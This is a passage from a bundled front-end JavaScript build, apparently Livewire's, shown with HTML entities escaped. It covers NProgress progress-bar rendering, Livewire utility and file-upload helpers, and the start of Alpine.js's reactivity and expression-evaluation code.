          var progress = document.createElement(&quot;div&quot;);
          progress.id = &quot;nprogress&quot;;
          progress.innerHTML = Settings.template;
          var bar = progress.querySelector(Settings.barSelector), perc = fromStart ? &quot;-100&quot; : toBarPerc(NProgress2.status || 0), parent = document.querySelector(Settings.parent), spinner;
          css(bar, {
            transition: &quot;all 0 linear&quot;,
            transform: &quot;translate3d(&quot; + perc + &quot;%,0,0)&quot;
          });
          if (!Settings.showSpinner) {
            spinner = progress.querySelector(Settings.spinnerSelector);
            spinner &amp;&amp; removeElement(spinner);
          }
          if (parent != document.body) {
            addClass(parent, &quot;nprogress-custom-parent&quot;);
          }
          parent.appendChild(progress);
          return progress;
        };
        NProgress2.remove = function() {
          removeClass(document.documentElement, &quot;nprogress-busy&quot;);
          removeClass(document.querySelector(Settings.parent), &quot;nprogress-custom-parent&quot;);
          var progress = document.getElementById(&quot;nprogress&quot;);
          progress &amp;&amp; removeElement(progress);
        };
        NProgress2.isRendered = function() {
          return !!document.getElementById(&quot;nprogress&quot;);
        };
        NProgress2.getPositioningCSS = function() {
          var bodyStyle = document.body.style;
          var vendorPrefix = &quot;WebkitTransform&quot; in bodyStyle ? &quot;Webkit&quot; : &quot;MozTransform&quot; in bodyStyle ? &quot;Moz&quot; : &quot;msTransform&quot; in bodyStyle ? &quot;ms&quot; : &quot;OTransform&quot; in bodyStyle ? &quot;O&quot; : &quot;&quot;;
          if (vendorPrefix + &quot;Perspective&quot; in bodyStyle) {
            return &quot;translate3d&quot;;
          } else if (vendorPrefix + &quot;Transform&quot; in bodyStyle) {
            return &quot;translate&quot;;
          } else {
            return &quot;margin&quot;;
          }
        };
        function clamp2(n, min2, max2) {
          if (n &lt; min2)
            return min2;
          if (n &gt; max2)
            return max2;
          return n;
        }
        function toBarPerc(n) {
          return (-1 + n) * 100;
        }
        function barPositionCSS(n, speed, ease) {
          var barCSS;
          if (Settings.positionUsing === &quot;translate3d&quot;) {
            barCSS = { transform: &quot;translate3d(&quot; + toBarPerc(n) + &quot;%,0,0)&quot; };
          } else if (Settings.positionUsing === &quot;translate&quot;) {
            barCSS = { transform: &quot;translate(&quot; + toBarPerc(n) + &quot;%,0)&quot; };
          } else {
            barCSS = { &quot;margin-left&quot;: toBarPerc(n) + &quot;%&quot; };
          }
          barCSS.transition = &quot;all &quot; + speed + &quot;ms &quot; + ease;
          return barCSS;
        }
        var queue2 = function() {
          var pending = [];
          function next() {
            var fn = pending.shift();
            if (fn) {
              fn(next);
            }
          }
          return function(fn) {
            pending.push(fn);
            if (pending.length == 1)
              next();
          };
        }();
        var css = function() {
          var cssPrefixes = [&quot;Webkit&quot;, &quot;O&quot;, &quot;Moz&quot;, &quot;ms&quot;], cssProps = {};
          function camelCase3(string) {
            return string.replace(/^-ms-/, &quot;ms-&quot;).replace(/-([\da-z])/gi, function(match, letter) {
              return letter.toUpperCase();
            });
          }
          function getVendorProp(name) {
            var style = document.body.style;
            if (name in style)
              return name;
            var i = cssPrefixes.length, capName = name.charAt(0).toUpperCase() + name.slice(1), vendorName;
            while (i--) {
              vendorName = cssPrefixes[i] + capName;
              if (vendorName in style)
                return vendorName;
            }
            return name;
          }
          function getStyleProp(name) {
            name = camelCase3(name);
            return cssProps[name] || (cssProps[name] = getVendorProp(name));
          }
          function applyCss(element, prop, value) {
            prop = getStyleProp(prop);
            element.style[prop] = value;
          }
          return function(element, properties2) {
            var args = arguments, prop, value;
            if (args.length == 2) {
              for (prop in properties2) {
                value = properties2[prop];
                if (value !== void 0 &amp;&amp; properties2.hasOwnProperty(prop))
                  applyCss(element, prop, value);
              }
            } else {
              applyCss(element, args[1], args[2]);
            }
          };
        }();
        function hasClass(element, name) {
          var list = typeof element == &quot;string&quot; ? element : classList(element);
          return list.indexOf(&quot; &quot; + name + &quot; &quot;) &gt;= 0;
        }
        function addClass(element, name) {
          var oldList = classList(element), newList = oldList + name;
          if (hasClass(oldList, name))
            return;
          element.className = newList.substring(1);
        }
        function removeClass(element, name) {
          var oldList = classList(element), newList;
          if (!hasClass(element, name))
            return;
          newList = oldList.replace(&quot; &quot; + name + &quot; &quot;, &quot; &quot;);
          element.className = newList.substring(1, newList.length - 1);
        }
        function classList(element) {
          return (&quot; &quot; + (element.className || &quot;&quot;) + &quot; &quot;).replace(/\s+/gi, &quot; &quot;);
        }
        function removeElement(element) {
          element &amp;&amp; element.parentNode &amp;&amp; element.parentNode.removeChild(element);
        }
        return NProgress2;
      });
    }
  });

  // js/utils.js
  var Bag = class {
    constructor() {
      this.arrays = {};
    }
    add(key, value) {
      if (!this.arrays[key])
        this.arrays[key] = [];
      this.arrays[key].push(value);
    }
    remove(key) {
      if (this.arrays[key])
        delete this.arrays[key];
    }
    get(key) {
      return this.arrays[key] || [];
    }
    each(key, callback) {
      return this.get(key).forEach(callback);
    }
  };
  var WeakBag = class {
    constructor() {
      this.arrays = /* @__PURE__ */ new WeakMap();
    }
    add(key, value) {
      if (!this.arrays.has(key))
        this.arrays.set(key, []);
      this.arrays.get(key).push(value);
    }
    remove(key) {
      if (this.arrays.has(key))
        this.arrays.delete(key, []);
    }
    get(key) {
      return this.arrays.has(key) ? this.arrays.get(key) : [];
    }
    each(key, callback) {
      return this.get(key).forEach(callback);
    }
  };
  function dispatch(target, name, detail = {}, bubbles = true) {
    target.dispatchEvent(new CustomEvent(name, {
      detail,
      bubbles,
      composed: true,
      cancelable: true
    }));
  }
  function listen(target, name, handler4) {
    target.addEventListener(name, handler4);
    return () =&gt; target.removeEventListener(name, handler4);
  }
  function isObjecty(subject) {
    return typeof subject === &quot;object&quot; &amp;&amp; subject !== null;
  }
  function isObject(subject) {
    return isObjecty(subject) &amp;&amp; !isArray(subject);
  }
  function isArray(subject) {
    return Array.isArray(subject);
  }
  function isFunction(subject) {
    return typeof subject === &quot;function&quot;;
  }
  function isPrimitive(subject) {
    return typeof subject !== &quot;object&quot; || subject === null;
  }
  function deepClone(obj) {
    return JSON.parse(JSON.stringify(obj));
  }
  function dataGet(object, key) {
    if (key === &quot;&quot;)
      return object;
    return key.split(&quot;.&quot;).reduce((carry, i) =&gt; {
      return carry?.[i];
    }, object);
  }
  function dataSet(object, key, value) {
    let segments = key.split(&quot;.&quot;);
    if (segments.length === 1) {
      return object[key] = value;
    }
    let firstSegment = segments.shift();
    let restOfSegments = segments.join(&quot;.&quot;);
    if (object[firstSegment] === void 0) {
      object[firstSegment] = {};
    }
    dataSet(object[firstSegment], restOfSegments, value);
  }
  function diff(left, right, diffs = {}, path = &quot;&quot;) {
    if (left === right)
      return diffs;
    if (typeof left !== typeof right || isObject(left) &amp;&amp; isArray(right) || isArray(left) &amp;&amp; isObject(right)) {
      diffs[path] = right;
      return diffs;
    }
    if (isPrimitive(left) || isPrimitive(right)) {
      diffs[path] = right;
      return diffs;
    }
    let leftKeys = Object.keys(left);
    Object.entries(right).forEach(([key, value]) =&gt; {
      diffs = { ...diffs, ...diff(left[key], right[key], diffs, path === &quot;&quot; ? key : `${path}.${key}`) };
      leftKeys = leftKeys.filter((i) =&gt; i !== key);
    });
    leftKeys.forEach((key) =&gt; {
      diffs[`${path}.${key}`] = &quot;__rm__&quot;;
    });
    return diffs;
  }
  function extractData(payload) {
    let value = isSynthetic(payload) ? payload[0] : payload;
    let meta = isSynthetic(payload) ? payload[1] : void 0;
    if (isObjecty(value)) {
      Object.entries(value).forEach(([key, iValue]) =&gt; {
        value[key] = extractData(iValue);
      });
    }
    return value;
  }
  function isSynthetic(subject) {
    return Array.isArray(subject) &amp;&amp; subject.length === 2 &amp;&amp; typeof subject[1] === &quot;object&quot; &amp;&amp; Object.keys(subject[1]).includes(&quot;s&quot;);
  }
  function getCsrfToken() {
    if (document.querySelector(&#039;meta[name=&quot;csrf-token&quot;]&#039;)) {
      return document.querySelector(&#039;meta[name=&quot;csrf-token&quot;]&#039;).getAttribute(&quot;content&quot;);
    }
    if (document.querySelector(&quot;[data-csrf]&quot;)) {
      return document.querySelector(&quot;[data-csrf]&quot;).getAttribute(&quot;data-csrf&quot;);
    }
    if (window.livewireScriptConfig[&quot;csrf&quot;] ?? false) {
      return window.livewireScriptConfig[&quot;csrf&quot;];
    }
    throw &quot;Livewire: No CSRF token detected&quot;;
  }
  var nonce;
  function getNonce() {
    if (nonce)
      return nonce;
    if (window.livewireScriptConfig &amp;&amp; (window.livewireScriptConfig[&quot;nonce&quot;] ?? false)) {
      nonce = window.livewireScriptConfig[&quot;nonce&quot;];
      return nonce;
    }
    const elWithNonce = document.querySelector(&quot;style[data-livewire-style][nonce]&quot;);
    if (elWithNonce) {
      nonce = elWithNonce.nonce;
      return nonce;
    }
    return null;
  }
  function getUpdateUri() {
    return document.querySelector(&quot;[data-update-uri]&quot;)?.getAttribute(&quot;data-update-uri&quot;) ?? window.livewireScriptConfig[&quot;uri&quot;] ?? null;
  }
  function contentIsFromDump(content) {
    return !!content.match(/&lt;script&gt;Sfdump\(&quot;.+&quot;\)&lt;\/script&gt;/);
  }
  function splitDumpFromContent(content) {
    let dump = content.match(/.*&lt;script&gt;Sfdump\(&quot;.+&quot;\)&lt;\/script&gt;/s);
    return [dump, content.replace(dump, &quot;&quot;)];
  }

  // js/features/supportFileUploads.js
  var uploadManagers = /* @__PURE__ */ new WeakMap();
  function getUploadManager(component) {
    if (!uploadManagers.has(component)) {
      let manager = new UploadManager(component);
      uploadManagers.set(component, manager);
      manager.registerListeners();
    }
    return uploadManagers.get(component);
  }
  function handleFileUpload(el, property, component, cleanup2) {
    let manager = getUploadManager(component);
    let start3 = () =&gt; el.dispatchEvent(new CustomEvent(&quot;livewire-upload-start&quot;, { bubbles: true, detail: { id: component.id, property } }));
    let finish = () =&gt; el.dispatchEvent(new CustomEvent(&quot;livewire-upload-finish&quot;, { bubbles: true, detail: { id: component.id, property } }));
    let error2 = () =&gt; el.dispatchEvent(new CustomEvent(&quot;livewire-upload-error&quot;, { bubbles: true, detail: { id: component.id, property } }));
    let cancel = () =&gt; el.dispatchEvent(new CustomEvent(&quot;livewire-upload-cancel&quot;, { bubbles: true, detail: { id: component.id, property } }));
    let progress = (progressEvent) =&gt; {
      var percentCompleted = Math.round(progressEvent.loaded * 100 / progressEvent.total);
      el.dispatchEvent(new CustomEvent(&quot;livewire-upload-progress&quot;, {
        bubbles: true,
        detail: { progress: percentCompleted }
      }));
    };
    let eventHandler = (e) =&gt; {
      if (e.target.files.length === 0)
        return;
      start3();
      if (e.target.multiple) {
        manager.uploadMultiple(property, e.target.files, finish, error2, progress, cancel);
      } else {
        manager.upload(property, e.target.files[0], finish, error2, progress, cancel);
      }
    };
    el.addEventListener(&quot;change&quot;, eventHandler);
    component.$wire.$watch(property, (value) =&gt; {
      if (!el.isConnected)
        return;
      if (value === null || value === &quot;&quot;) {
        el.value = &quot;&quot;;
      }
    });
    let clearFileInputValue = () =&gt; {
      el.value = null;
    };
    el.addEventListener(&quot;click&quot;, clearFileInputValue);
    el.addEventListener(&quot;livewire-upload-cancel&quot;, clearFileInputValue);
    cleanup2(() =&gt; {
      el.removeEventListener(&quot;change&quot;, eventHandler);
      el.removeEventListener(&quot;click&quot;, clearFileInputValue);
    });
  }
  var UploadManager = class {
    constructor(component) {
      this.component = component;
      this.uploadBag = new MessageBag();
      this.removeBag = new MessageBag();
    }
    registerListeners() {
      this.component.$wire.$on(&quot;upload:generatedSignedUrl&quot;, ({ name, url }) =&gt; {
        setUploadLoading(this.component, name);
        this.handleSignedUrl(name, url);
      });
      this.component.$wire.$on(&quot;upload:generatedSignedUrlForS3&quot;, ({ name, payload }) =&gt; {
        setUploadLoading(this.component, name);
        this.handleS3PreSignedUrl(name, payload);
      });
      this.component.$wire.$on(&quot;upload:finished&quot;, ({ name, tmpFilenames }) =&gt; this.markUploadFinished(name, tmpFilenames));
      this.component.$wire.$on(&quot;upload:errored&quot;, ({ name }) =&gt; this.markUploadErrored(name));
      this.component.$wire.$on(&quot;upload:removed&quot;, ({ name, tmpFilename }) =&gt; this.removeBag.shift(name).finishCallback(tmpFilename));
    }
    upload(name, file, finishCallback, errorCallback, progressCallback, cancelledCallback) {
      this.setUpload(name, {
        files: [file],
        multiple: false,
        finishCallback,
        errorCallback,
        progressCallback,
        cancelledCallback
      });
    }
    uploadMultiple(name, files, finishCallback, errorCallback, progressCallback, cancelledCallback) {
      this.setUpload(name, {
        files: Array.from(files),
        multiple: true,
        finishCallback,
        errorCallback,
        progressCallback,
        cancelledCallback
      });
    }
    removeUpload(name, tmpFilename, finishCallback) {
      this.removeBag.push(name, {
        tmpFilename,
        finishCallback
      });
      this.component.$wire.call(&quot;_removeUpload&quot;, name, tmpFilename);
    }
    setUpload(name, uploadObject) {
      this.uploadBag.add(name, uploadObject);
      if (this.uploadBag.get(name).length === 1) {
        this.startUpload(name, uploadObject);
      }
    }
    handleSignedUrl(name, url) {
      let formData = new FormData();
      Array.from(this.uploadBag.first(name).files).forEach((file) =&gt; formData.append(&quot;files[]&quot;, file, file.name));
      let headers = {
        &quot;Accept&quot;: &quot;application/json&quot;
      };
      let csrfToken = getCsrfToken();
      if (csrfToken)
        headers[&quot;X-CSRF-TOKEN&quot;] = csrfToken;
      this.makeRequest(name, formData, &quot;post&quot;, url, headers, (response) =&gt; {
        return response.paths;
      });
    }
    handleS3PreSignedUrl(name, payload) {
      let formData = this.uploadBag.first(name).files[0];
      let headers = payload.headers;
      if (&quot;Host&quot; in headers)
        delete headers.Host;
      let url = payload.url;
      this.makeRequest(name, formData, &quot;put&quot;, url, headers, (response) =&gt; {
        return [payload.path];
      });
    }
    makeRequest(name, formData, method, url, headers, retrievePaths) {
      let request = new XMLHttpRequest();
      request.open(method, url);
      Object.entries(headers).forEach(([key, value]) =&gt; {
        request.setRequestHeader(key, value);
      });
      request.upload.addEventListener(&quot;progress&quot;, (e) =&gt; {
        e.detail = {};
        e.detail.progress = Math.floor(e.loaded * 100 / e.total);
        this.uploadBag.first(name).progressCallback(e);
      });
      request.addEventListener(&quot;load&quot;, () =&gt; {
        if ((request.status + &quot;&quot;)[0] === &quot;2&quot;) {
          let paths = retrievePaths(request.response &amp;&amp; JSON.parse(request.response));
          this.component.$wire.call(&quot;_finishUpload&quot;, name, paths, this.uploadBag.first(name).multiple);
          return;
        }
        let errors = null;
        if (request.status === 422) {
          errors = request.response;
        }
        this.component.$wire.call(&quot;_uploadErrored&quot;, name, errors, this.uploadBag.first(name).multiple);
      });
      this.uploadBag.first(name).request = request;
      request.send(formData);
    }
    startUpload(name, uploadObject) {
      let fileInfos = uploadObject.files.map((file) =&gt; {
        return { name: file.name, size: file.size, type: file.type };
      });
      this.component.$wire.call(&quot;_startUpload&quot;, name, fileInfos, uploadObject.multiple);
      setUploadLoading(this.component, name);
    }
    markUploadFinished(name, tmpFilenames) {
      unsetUploadLoading(this.component);
      let uploadObject = this.uploadBag.shift(name);
      uploadObject.finishCallback(uploadObject.multiple ? tmpFilenames : tmpFilenames[0]);
      if (this.uploadBag.get(name).length &gt; 0)
        this.startUpload(name, this.uploadBag.last(name));
    }
    markUploadErrored(name) {
      unsetUploadLoading(this.component);
      this.uploadBag.shift(name).errorCallback();
      if (this.uploadBag.get(name).length &gt; 0)
        this.startUpload(name, this.uploadBag.last(name));
    }
    cancelUpload(name, cancelledCallback = null) {
      unsetUploadLoading(this.component);
      let uploadItem = this.uploadBag.first(name);
      if (uploadItem) {
        if (uploadItem.request) {
          uploadItem.request.abort();
        }
        this.uploadBag.shift(name).cancelledCallback();
        if (cancelledCallback)
          cancelledCallback();
      }
    }
  };
  var MessageBag = class {
    constructor() {
      this.bag = {};
    }
    add(name, thing) {
      if (!this.bag[name]) {
        this.bag[name] = [];
      }
      this.bag[name].push(thing);
    }
    push(name, thing) {
      this.add(name, thing);
    }
    first(name) {
      if (!this.bag[name])
        return null;
      return this.bag[name][0];
    }
    last(name) {
      return this.bag[name].slice(-1)[0];
    }
    get(name) {
      return this.bag[name];
    }
    shift(name) {
      return this.bag[name].shift();
    }
    call(name, ...params) {
      (this.listeners[name] || []).forEach((callback) =&gt; {
        callback(...params);
      });
    }
    has(name) {
      return Object.keys(this.listeners).includes(name);
    }
  };
  function setUploadLoading() {
  }
  function unsetUploadLoading() {
  }
  function upload(component, name, file, finishCallback = () =&gt; {
  }, errorCallback = () =&gt; {
  }, progressCallback = () =&gt; {
  }, cancelledCallback = () =&gt; {
  }) {
    let uploadManager = getUploadManager(component);
    uploadManager.upload(name, file, finishCallback, errorCallback, progressCallback, cancelledCallback);
  }
  function uploadMultiple(component, name, files, finishCallback = () =&gt; {
  }, errorCallback = () =&gt; {
  }, progressCallback = () =&gt; {
  }, cancelledCallback = () =&gt; {
  }) {
    let uploadManager = getUploadManager(component);
    uploadManager.uploadMultiple(name, files, finishCallback, errorCallback, progressCallback, cancelledCallback);
  }
  function removeUpload(component, name, tmpFilename, finishCallback = () =&gt; {
  }, errorCallback = () =&gt; {
  }) {
    let uploadManager = getUploadManager(component);
    uploadManager.removeUpload(name, tmpFilename, finishCallback, errorCallback);
  }
  function cancelUpload(component, name, cancelledCallback = () =&gt; {
  }) {
    let uploadManager = getUploadManager(component);
    uploadManager.cancelUpload(name, cancelledCallback);
  }

  // ../alpine/packages/alpinejs/dist/module.esm.js
  var flushPending = false;
  var flushing = false;
  var queue = [];
  var lastFlushedIndex = -1;
  function scheduler(callback) {
    queueJob(callback);
  }
  function queueJob(job) {
    if (!queue.includes(job))
      queue.push(job);
    queueFlush();
  }
  function dequeueJob(job) {
    let index = queue.indexOf(job);
    if (index !== -1 &amp;&amp; index &gt; lastFlushedIndex)
      queue.splice(index, 1);
  }
  function queueFlush() {
    if (!flushing &amp;&amp; !flushPending) {
      flushPending = true;
      queueMicrotask(flushJobs);
    }
  }
  function flushJobs() {
    flushPending = false;
    flushing = true;
    for (let i = 0; i &lt; queue.length; i++) {
      queue[i]();
      lastFlushedIndex = i;
    }
    queue.length = 0;
    lastFlushedIndex = -1;
    flushing = false;
  }
  var reactive;
  var effect;
  var release;
  var raw;
  var shouldSchedule = true;
  function disableEffectScheduling(callback) {
    shouldSchedule = false;
    callback();
    shouldSchedule = true;
  }
  function setReactivityEngine(engine) {
    reactive = engine.reactive;
    release = engine.release;
    effect = (callback) =&gt; engine.effect(callback, { scheduler: (task) =&gt; {
      if (shouldSchedule) {
        scheduler(task);
      } else {
        task();
      }
    } });
    raw = engine.raw;
  }
  function overrideEffect(override) {
    effect = override;
  }
  function elementBoundEffect(el) {
    let cleanup2 = () =&gt; {
    };
    let wrappedEffect = (callback) =&gt; {
      let effectReference = effect(callback);
      if (!el._x_effects) {
        el._x_effects = /* @__PURE__ */ new Set();
        el._x_runEffects = () =&gt; {
          el._x_effects.forEach((i) =&gt; i());
        };
      }
      el._x_effects.add(effectReference);
      cleanup2 = () =&gt; {
        if (effectReference === void 0)
          return;
        el._x_effects.delete(effectReference);
        release(effectReference);
      };
      return effectReference;
    };
    return [wrappedEffect, () =&gt; {
      cleanup2();
    }];
  }
  function watch(getter, callback) {
    let firstTime = true;
    let oldValue;
    let effectReference = effect(() =&gt; {
      let value = getter();
      JSON.stringify(value);
      if (!firstTime) {
        queueMicrotask(() =&gt; {
          callback(value, oldValue);
          oldValue = value;
        });
      } else {
        oldValue = value;
      }
      firstTime = false;
    });
    return () =&gt; release(effectReference);
  }
  var onAttributeAddeds = [];
  var onElRemoveds = [];
  var onElAddeds = [];
  function onElAdded(callback) {
    onElAddeds.push(callback);
  }
  function onElRemoved(el, callback) {
    if (typeof callback === &quot;function&quot;) {
      if (!el._x_cleanups)
        el._x_cleanups = [];
      el._x_cleanups.push(callback);
    } else {
      callback = el;
      onElRemoveds.push(callback);
    }
  }
  function onAttributesAdded(callback) {
    onAttributeAddeds.push(callback);
  }
  function onAttributeRemoved(el, name, callback) {
    if (!el._x_attributeCleanups)
      el._x_attributeCleanups = {};
    if (!el._x_attributeCleanups[name])
      el._x_attributeCleanups[name] = [];
    el._x_attributeCleanups[name].push(callback);
  }
  function cleanupAttributes(el, names) {
    if (!el._x_attributeCleanups)
      return;
    Object.entries(el._x_attributeCleanups).forEach(([name, value]) =&gt; {
      if (names === void 0 || names.includes(name)) {
        value.forEach((i) =&gt; i());
        delete el._x_attributeCleanups[name];
      }
    });
  }
  function cleanupElement(el) {
    el._x_effects?.forEach(dequeueJob);
    while (el._x_cleanups?.length)
      el._x_cleanups.pop()();
  }
  var observer = new MutationObserver(onMutate);
  var currentlyObserving = false;
  function startObservingMutations() {
    observer.observe(document, { subtree: true, childList: true, attributes: true, attributeOldValue: true });
    currentlyObserving = true;
  }
  function stopObservingMutations() {
    flushObserver();
    observer.disconnect();
    currentlyObserving = false;
  }
  var queuedMutations = [];
  function flushObserver() {
    let records = observer.takeRecords();
    queuedMutations.push(() =&gt; records.length &gt; 0 &amp;&amp; onMutate(records));
    let queueLengthWhenTriggered = queuedMutations.length;
    queueMicrotask(() =&gt; {
      if (queuedMutations.length === queueLengthWhenTriggered) {
        while (queuedMutations.length &gt; 0)
          queuedMutations.shift()();
      }
    });
  }
  function mutateDom(callback) {
    if (!currentlyObserving)
      return callback();
    stopObservingMutations();
    let result = callback();
    startObservingMutations();
    return result;
  }
  var isCollecting = false;
  var deferredMutations = [];
  function deferMutations() {
    isCollecting = true;
  }
  function flushAndStopDeferringMutations() {
    isCollecting = false;
    onMutate(deferredMutations);
    deferredMutations = [];
  }
  function onMutate(mutations) {
    if (isCollecting) {
      deferredMutations = deferredMutations.concat(mutations);
      return;
    }
    let addedNodes = [];
    let removedNodes = /* @__PURE__ */ new Set();
    let addedAttributes = /* @__PURE__ */ new Map();
    let removedAttributes = /* @__PURE__ */ new Map();
    for (let i = 0; i &lt; mutations.length; i++) {
      if (mutations[i].target._x_ignoreMutationObserver)
        continue;
      if (mutations[i].type === &quot;childList&quot;) {
        mutations[i].removedNodes.forEach((node) =&gt; {
          if (node.nodeType !== 1)
            return;
          if (!node._x_marker)
            return;
          removedNodes.add(node);
        });
        mutations[i].addedNodes.forEach((node) =&gt; {
          if (node.nodeType !== 1)
            return;
          if (removedNodes.has(node)) {
            removedNodes.delete(node);
            return;
          }
          if (node._x_marker)
            return;
          addedNodes.push(node);
        });
      }
      if (mutations[i].type === &quot;attributes&quot;) {
        let el = mutations[i].target;
        let name = mutations[i].attributeName;
        let oldValue = mutations[i].oldValue;
        let add2 = () =&gt; {
          if (!addedAttributes.has(el))
            addedAttributes.set(el, []);
          addedAttributes.get(el).push({ name, value: el.getAttribute(name) });
        };
        let remove = () =&gt; {
          if (!removedAttributes.has(el))
            removedAttributes.set(el, []);
          removedAttributes.get(el).push(name);
        };
        if (el.hasAttribute(name) &amp;&amp; oldValue === null) {
          add2();
        } else if (el.hasAttribute(name)) {
          remove();
          add2();
        } else {
          remove();
        }
      }
    }
    removedAttributes.forEach((attrs, el) =&gt; {
      cleanupAttributes(el, attrs);
    });
    addedAttributes.forEach((attrs, el) =&gt; {
      onAttributeAddeds.forEach((i) =&gt; i(el, attrs));
    });
    for (let node of removedNodes) {
      if (addedNodes.some((i) =&gt; i.contains(node)))
        continue;
      onElRemoveds.forEach((i) =&gt; i(node));
    }
    for (let node of addedNodes) {
      if (!node.isConnected)
        continue;
      onElAddeds.forEach((i) =&gt; i(node));
    }
    addedNodes = null;
    removedNodes = null;
    addedAttributes = null;
    removedAttributes = null;
  }
  function scope(node) {
    return mergeProxies(closestDataStack(node));
  }
  function addScopeToNode(node, data2, referenceNode) {
    node._x_dataStack = [data2, ...closestDataStack(referenceNode || node)];
    return () =&gt; {
      node._x_dataStack = node._x_dataStack.filter((i) =&gt; i !== data2);
    };
  }
  function closestDataStack(node) {
    if (node._x_dataStack)
      return node._x_dataStack;
    if (typeof ShadowRoot === &quot;function&quot; &amp;&amp; node instanceof ShadowRoot) {
      return closestDataStack(node.host);
    }
    if (!node.parentNode) {
      return [];
    }
    return closestDataStack(node.parentNode);
  }
  function mergeProxies(objects) {
    return new Proxy({ objects }, mergeProxyTrap);
  }
  var mergeProxyTrap = {
    ownKeys({ objects }) {
      return Array.from(new Set(objects.flatMap((i) =&gt; Object.keys(i))));
    },
    has({ objects }, name) {
      if (name == Symbol.unscopables)
        return false;
      return objects.some((obj) =&gt; Object.prototype.hasOwnProperty.call(obj, name) || Reflect.has(obj, name));
    },
    get({ objects }, name, thisProxy) {
      if (name == &quot;toJSON&quot;)
        return collapseProxies;
      return Reflect.get(objects.find((obj) =&gt; Reflect.has(obj, name)) || {}, name, thisProxy);
    },
    set({ objects }, name, value, thisProxy) {
      const target = objects.find((obj) =&gt; Object.prototype.hasOwnProperty.call(obj, name)) || objects[objects.length - 1];
      const descriptor = Object.getOwnPropertyDescriptor(target, name);
      if (descriptor?.set &amp;&amp; descriptor?.get)
        return descriptor.set.call(thisProxy, value) || true;
      return Reflect.set(target, name, value);
    }
  };
  function collapseProxies() {
    let keys = Reflect.ownKeys(this);
    return keys.reduce((acc, key) =&gt; {
      acc[key] = Reflect.get(this, key);
      return acc;
    }, {});
  }
  function initInterceptors(data2) {
    let isObject22 = (val) =&gt; typeof val === &quot;object&quot; &amp;&amp; !Array.isArray(val) &amp;&amp; val !== null;
    let recurse = (obj, basePath = &quot;&quot;) =&gt; {
      Object.entries(Object.getOwnPropertyDescriptors(obj)).forEach(([key, { value, enumerable }]) =&gt; {
        if (enumerable === false || value === void 0)
          return;
        if (typeof value === &quot;object&quot; &amp;&amp; value !== null &amp;&amp; value.__v_skip)
          return;
        let path = basePath === &quot;&quot; ? key : `${basePath}.${key}`;
        if (typeof value === &quot;object&quot; &amp;&amp; value !== null &amp;&amp; value._x_interceptor) {
          obj[key] = value.initialize(data2, path, key);
        } else {
          if (isObject22(value) &amp;&amp; value !== obj &amp;&amp; !(value instanceof Element)) {
            recurse(value, path);
          }
        }
      });
    };
    return recurse(data2);
  }
  function interceptor(callback, mutateObj = () =&gt; {
  }) {
    let obj = {
      initialValue: void 0,
      _x_interceptor: true,
      initialize(data2, path, key) {
        return callback(this.initialValue, () =&gt; get(data2, path), (value) =&gt; set(data2, path, value), path, key);
      }
    };
    mutateObj(obj);
    return (initialValue) =&gt; {
      if (typeof initialValue === &quot;object&quot; &amp;&amp; initialValue !== null &amp;&amp; initialValue._x_interceptor) {
        let initialize = obj.initialize.bind(obj);
        obj.initialize = (data2, path, key) =&gt; {
          let innerValue = initialValue.initialize(data2, path, key);
          obj.initialValue = innerValue;
          return initialize(data2, path, key);
        };
      } else {
        obj.initialValue = initialValue;
      }
      return obj;
    };
  }
  function get(obj, path) {
    return path.split(&quot;.&quot;).reduce((carry, segment) =&gt; carry[segment], obj);
  }
  function set(obj, path, value) {
    if (typeof path === &quot;string&quot;)
      path = path.split(&quot;.&quot;);
    if (path.length === 1)
      obj[path[0]] = value;
    else if (path.length === 0)
      throw error;
    else {
      if (obj[path[0]])
        return set(obj[path[0]], path.slice(1), value);
      else {
        obj[path[0]] = {};
        return set(obj[path[0]], path.slice(1), value);
      }
    }
  }
  var magics = {};
  function magic(name, callback) {
    magics[name] = callback;
  }
  function injectMagics(obj, el) {
    let memoizedUtilities = getUtilities(el);
    Object.entries(magics).forEach(([name, callback]) =&gt; {
      Object.defineProperty(obj, `$${name}`, {
        get() {
          return callback(el, memoizedUtilities);
        },
        enumerable: false
      });
    });
    return obj;
  }
  function getUtilities(el) {
    let [utilities, cleanup2] = getElementBoundUtilities(el);
    let utils = { interceptor, ...utilities };
    onElRemoved(el, cleanup2);
    return utils;
  }
  function tryCatch(el, expression, callback, ...args) {
    try {
      return callback(...args);
    } catch (e) {
      handleError(e, el, expression);
    }
  }
  function handleError(error2, el, expression = void 0) {
    error2 = Object.assign(error2 ?? { message: &quot;No error message given.&quot; }, { el, expression });
    console.warn(`Alpine Expression Error: ${error2.message}

${expression ? &#039;Expression: &quot;&#039; + expression + &#039;&quot;\n\n&#039; : &quot;&quot;}`, el);
    setTimeout(() =&gt; {
      throw error2;
    }, 0);
  }
  var shouldAutoEvaluateFunctions = true;
  function dontAutoEvaluateFunctions(callback) {
    let cache = shouldAutoEvaluateFunctions;
    shouldAutoEvaluateFunctions = false;
    let result = callback();
    shouldAutoEvaluateFunctions = cache;
    return result;
  }
  function evaluate(el, expression, extras = {}) {
    let result;
    evaluateLater(el, expression)((value) =&gt; result = value, extras);
    return result;
  }
  function evaluateLater(...args) {
    return theEvaluatorFunction(...args);
  }
  var theEvaluatorFunction = normalEvaluator;
  function setEvaluator(newEvaluator) {
    theEvaluatorFunction = newEvaluator;
  }
  function normalEvaluator(el, expression) {
    let overriddenMagics = {};
    injectMagics(overriddenMagics, el);
    let dataStack = [overriddenMagics, ...closestDataStack(el)];
    let evaluator = typeof expression === &quot;function&quot; ? generateEvaluatorFromFunction(dataStack, expression) : generateEvaluatorFromString(dataStack, expression, el);
    return tryCatch.bind(null, el, expression, evaluator);
  }
  function generateEvaluatorFromFunction(dataStack, func) {
    return (receiver = () =&gt; {
    }, { scope: scope2 = {}, params = [] } = {}) =&gt; {
      let result = func.apply(mergeProxies([scope2, ...dataStack]), params);
      runIfTypeOfFunction(receiver, result);
    };
  }
  var evaluatorMemo = {};
  function generateFunctionFromString(expression, el) {
    if (evaluatorMemo[expression]) {
      return evaluatorMemo[expression];
    }
    let AsyncFunction = Object.getPrototypeOf(async function() {
    }).constructor;
    let rightSideSafeExpression = /^[\n\s]*if.*\(.*\)/.test(expression.trim()) || /^(let|const)\s/.test(expression.trim()) ? `(async()=&gt;{ ${expression} })()` : expression;
    const safeAsyncFunction = () =&gt; {
      try {
        let func2 = new AsyncFunction([&quot;__self&quot;, &quot;scope&quot;], `with (scope) { __self.result = ${rightSideSafeExpression} }; __self.finished = true; return __self.result;`);
        Object.defineProperty(func2, &quot;name&quot;, {
          value: `[Alpine] ${expression}`
        });
